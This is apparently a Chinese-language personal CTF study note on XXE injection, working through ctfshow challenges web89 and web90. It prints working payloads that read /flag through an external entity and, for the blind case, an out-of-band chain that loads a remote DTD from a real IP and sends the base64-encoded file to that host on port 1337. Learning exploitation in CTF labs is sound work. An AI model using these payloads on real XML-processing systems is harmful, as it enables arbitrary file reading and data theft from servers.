【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用

XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父 3个叔父 8个堂弟堂妹

<祖父>

<叔父1>

<堂兄1>

</叔父1>

<叔父2>

<堂兄2>

</叔父2>

<叔父3>

<堂兄3>

</叔父4>

</祖父>

xml格式

1 有回显时文件读取方法

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY hacker SYSTEM "file:///flag">

]>

<root>

<ctfshow>

&hacker;

</ctfshow>

</root>

例题1 web89

post传:

<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

无回显点,考虑数据外带

post传

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd">

%myurl;

]>

<root>

1

</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">

%dtd;

%vps;

vps监听1337端口即可

相关推荐
网络安全King26 分钟前
华为 网络安全 认证
安全·web安全
世事如云有卷舒1 小时前
FreeRTOS学习笔记
笔记·学习
网络安全-老纪1 小时前
网络安全-js安全知识点与XSS常用payloads
javascript·安全·web安全
API_technology1 小时前
电商API安全防护:JWT令牌与XSS防御实战
前端·安全·xss
underatted1 小时前
2025tg最新免费社工库机器人
web安全·网络安全
Tipray20062 小时前
天 锐 蓝盾终端安全管理系统:办公U盘拷贝使用管控限制
安全
羊小猪~~4 小时前
MYSQL学习笔记(九):MYSQL表的“增删改查”
数据库·笔记·后端·sql·学习·mysql·考研
yuanbenshidiaos4 小时前
【数据挖掘】数据仓库
数据仓库·笔记·数据挖掘
坚定信念,勇往无前5 小时前
Spring Boot 如何保证接口安全
spring boot·后端·安全
sealaugh326 小时前
aws(学习笔记第二十九课) aws cloudfront hands on
笔记·学习·aws